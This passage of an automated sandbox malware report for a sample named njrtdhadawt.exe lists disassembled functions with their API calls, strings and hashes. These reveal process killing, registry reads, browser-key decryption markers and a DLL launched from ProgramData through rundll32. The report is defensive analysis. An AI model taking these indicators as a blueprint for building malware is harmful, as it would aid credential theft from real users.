Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 1f0e42c58fdc2b826cfc74297cd8eff8c3e4b27ba501be96d8ab1b2a04c4e758
Instruction ID: 9b678a1a7a0f5b75f1eac2b685280e8df88bb8bd69fd4f6d8be6250c03c798bc
Opcode Fuzzy Hash: 1f0e42c58fdc2b826cfc74297cd8eff8c3e4b27ba501be96d8ab1b2a04c4e758
Instruction Fuzzy Hash: 6D11393090122DAFDF719F60AD5ABE97BB5BF08711F0040A9EB05A6194DB75AB80DF90

Function 00FF341D Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00FF343C
StrCmpCA.SHLWAPI(00000000,010157C0), ref: 00FF3475
strtok_s.MSVCRT ref: 00FF3535

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: f8689e4b1ecdbb16ffd98a97269be17d09f94b28f505f4c78383cda9b3df0136
Instruction ID: ae6162adb9378a257fc5732fcb194bd13cb709ab55c7ce3470763ffc476e2da3
Opcode Fuzzy Hash: f8689e4b1ecdbb16ffd98a97269be17d09f94b28f505f4c78383cda9b3df0136
Instruction Fuzzy Hash: C931AE72E0010A9FCB25DF24DC85B79BBA8FF48715F194059EE06DB066D778CB01AB40

Function 00FF584C Relevance: 9.1, APIs: 6, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF5881
RegOpenKeyExA.ADVAPI32(80000001,00000000,00020119,?,?,00000000,?), ref: 00FF58A1
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 00FF58C7
RegCloseKey.ADVAPI32(?), ref: 00FF58D3
lstrcatA.KERNEL32(?,?), ref: 00FF5902
lstrcatA.KERNEL32(?), ref: 00FF5915

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID:
API String ID: 3891774339-0
Opcode ID: 2a541586507085f8daf411474eecea4361142c833f44d289b32bff6dfaabe27f
Instruction ID: edaf913e233a74cf327803a1017c62f3ca9cb13d7ae048540f62c4483fc618d7
Opcode Fuzzy Hash: 2a541586507085f8daf411474eecea4361142c833f44d289b32bff6dfaabe27f
Instruction Fuzzy Hash: 8941797288001D9FDF25EF64EC8AAFA77B9FF18304F5004A5A308E3151DA755E859F90

Function 6CD63E2F Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6CD63C01,6CD60FD3,6CD60A3B,?,6CD60C73,?,00000001,?,?,00000001,?,6CDB5760,0000000C,6CD60D6C), ref: 6CD63E3D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CD63E4B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CD63E64
SetLastError.KERNEL32(00000000,6CD60C73,?,00000001,?,?,00000001,?,6CDB5760,0000000C,6CD60D6C,?,00000001,?), ref: 6CD63EB6

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0d0183f1dd84654eeb05d9324e31bab871d77247b16e8725257d5bf2d5b5892e
Instruction ID: 963056f5ccb746f80c91bf09eb794d99bf9822c3e93062f8e37ff86117518ffd
Opcode Fuzzy Hash: 0d0183f1dd84654eeb05d9324e31bab871d77247b16e8725257d5bf2d5b5892e
Instruction Fuzzy Hash: FC01B972609611AFFB1517779C845963678DB022B8F30032AE76182DF1FB62C845D1B4

Function 6CD4C160 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32(?), ref: 6CD4C1CA
freeaddrinfo.WS2_32(?), ref: 6CD4C47A
freeaddrinfo.WS2_32(?), ref: 6CD4C55A

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6CD4C4D5, 6CD4C513
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6CD4C4F2, 6CD4C534

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: freeaddrinfo
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 2731292433-3544120690
Opcode ID: 8222ee71e3350112e9c28b2fdb61448f53b41496f84f195cc40417c063e4c1eb
Instruction ID: ce88e479776b424b5d77281c0b5fe6b471131837c37082c6719780f57bc91c57
Opcode Fuzzy Hash: 8222ee71e3350112e9c28b2fdb61448f53b41496f84f195cc40417c063e4c1eb
Instruction Fuzzy Hash: 9CD166B5D00218CFDB18DF89D480AADBBB1FF88314F15816EE8096B7A1D7719949CFA4

Function 6CD512B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6CD4B575,?), ref: 6CD512E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,6CD4B575,?), ref: 6CD512F6
GetConsoleMode.KERNEL32(00000000,?), ref: 6CD5133A
CloseHandle.KERNEL32(?,?,6CDAA3E8,6CDAB3D4,?,6CD4981A,6CDAB3C4), ref: 6CD515CA

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CD5157D

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: 61ba6c8187d4428885be510c74529d466003763ba48f85dab5890585fbbc7fd9
Instruction ID: 40e1c682a10c209bb58537a27add6912e4fd08ef61bc0dcff3d536ed116b3afe
Opcode Fuzzy Hash: 61ba6c8187d4428885be510c74529d466003763ba48f85dab5890585fbbc7fd9
Instruction Fuzzy Hash: A391DFB0D04248EBEF00CF94D890BEEBFB4AF06308F448549E855ABBA1D774D955CBA1

Function 00FF2B31 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

ShellExecuteEx.SHELL32(?), ref: 00FF2D53

Strings

"" , xrefs: 00FF2C01
.dll, xrefs: 00FF2BBC
C:\Windows\system32\rundll32.exe, xrefs: 00FF2CB2
C:\ProgramData\, xrefs: 00FF2B64

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 08b12de7c8cbfb3740470aefedef90929290d38260be980916bc2b66a1d1d0cb
Instruction ID: f81861766b756977234020a38cbef13edeb3ca3831bb725ef10ae4a784a26d1c
Opcode Fuzzy Hash: 08b12de7c8cbfb3740470aefedef90929290d38260be980916bc2b66a1d1d0cb
Instruction Fuzzy Hash: 0E71A672D0015D9ACB50FBA6DC429DDB7B8AF04300F514462FA50B7227DBB97E46ABD0

Function 00FE88BB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE8930
LocalAlloc.KERNEL32(00000040,-0000001F,?,?,?), ref: 00FE8965

Strings

ERROR_V128, xrefs: 00FE88E7
v20, xrefs: 00FE88D1
v10, xrefs: 00FE88F7

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_V128$v10$v20
API String ID: 52611349-1964637325
Opcode ID: 625c52f039c1b30bc38927f2db646e65ab685aa4499c8f77ceb3ef4f74a209df
Instruction ID: 20e86fbe0e985cd2b983a17e04cd3df7d6adc77e3c47a6937d7255eb0eab0e04
Opcode Fuzzy Hash: 625c52f039c1b30bc38927f2db646e65ab685aa4499c8f77ceb3ef4f74a209df
Instruction Fuzzy Hash: 0E31B372E00148ABDF10AFA6CC41AEE7BB8BF44B60F154125F905EB285DB74AD419B91

Function 6CD67703 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\njrtdhadawt.exe, xrefs: 6CD6771F

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\njrtdhadawt.exe
API String ID: 0-1592276734
Opcode ID: 457e01b26ba4c4de9c967d0a77267d241deb3418913185b4c88be0969f0f2d93
Instruction ID: b09afffcc21ae0126f1e52c52e24ab4b0c3793d16764dd32f9005db220e4df21
Opcode Fuzzy Hash: 457e01b26ba4c4de9c967d0a77267d241deb3418913185b4c88be0969f0f2d93
Instruction Fuzzy Hash: 6C215E71604209BF9B10AF77DC8098BB7A9AF45768F164625E914D7E60E731EC44CBA0

Function 00FEF28C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FEF2A2

Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E6FA
Part of subcall function 0100E6E5: __CxxThrowException@8.LIBCMT ref: 0100E70F
Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E720

std::_Xinvalid_argument.LIBCPMT ref: 00FEF2C1
_memmove.LIBCMT ref: 00FEF2FB

Strings

invalid string position, xrefs: 00FEF29D
string too long, xrefs: 00FEF2BC

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: c272150b42ea1ccbeff8d2f44727d070972d02c6025760eb659f44c8100fb90e
Instruction ID: 31e54079eb1364f244920450afb906c3d4f321308b899f0e40ecca6c6e39013a
Opcode Fuzzy Hash: c272150b42ea1ccbeff8d2f44727d070972d02c6025760eb659f44c8100fb90e
Instruction Fuzzy Hash: E5110835700241AFDB14EF6ED880969B3A5FF55324B500539F556CB282C370ED48D791

Function 6CD6570D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,9F8E84B1,00000000,?,00000000,6CD70110,000000FF,?,6CD656A7,?,?,6CD6567B,?), ref: 6CD65742
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CD65754
FreeLibrary.KERNEL32(00000000,?,00000000,6CD70110,000000FF,?,6CD656A7,?,?,6CD6567B,?), ref: 6CD65776

Strings

CorExitProcess, xrefs: 6CD6574C
mscoree.dll, xrefs: 6CD6573B

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: de56811e66f5dc2fcf7331bb7a65f652ac56e8de4142d2db9f90690d5470e576
Instruction ID: 3884d29ddb84c667f635403393c52013d6ae2c55b988ebad42665481c159c1e4
Opcode Fuzzy Hash: de56811e66f5dc2fcf7331bb7a65f652ac56e8de4142d2db9f90690d5470e576
Instruction Fuzzy Hash: 9901AC31510565EFEB02AF51CC44FAEB7BCFB05755F104626E921E2990D7749504CA90

Function 00FE13E6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00FE13F2
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00FE13FD
ReleaseDC.USER32(00000000,00000000), ref: 00FE1406

Strings

F(t, xrefs: 00FE13FD
DISPLAY, xrefs: 00FE13ED

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
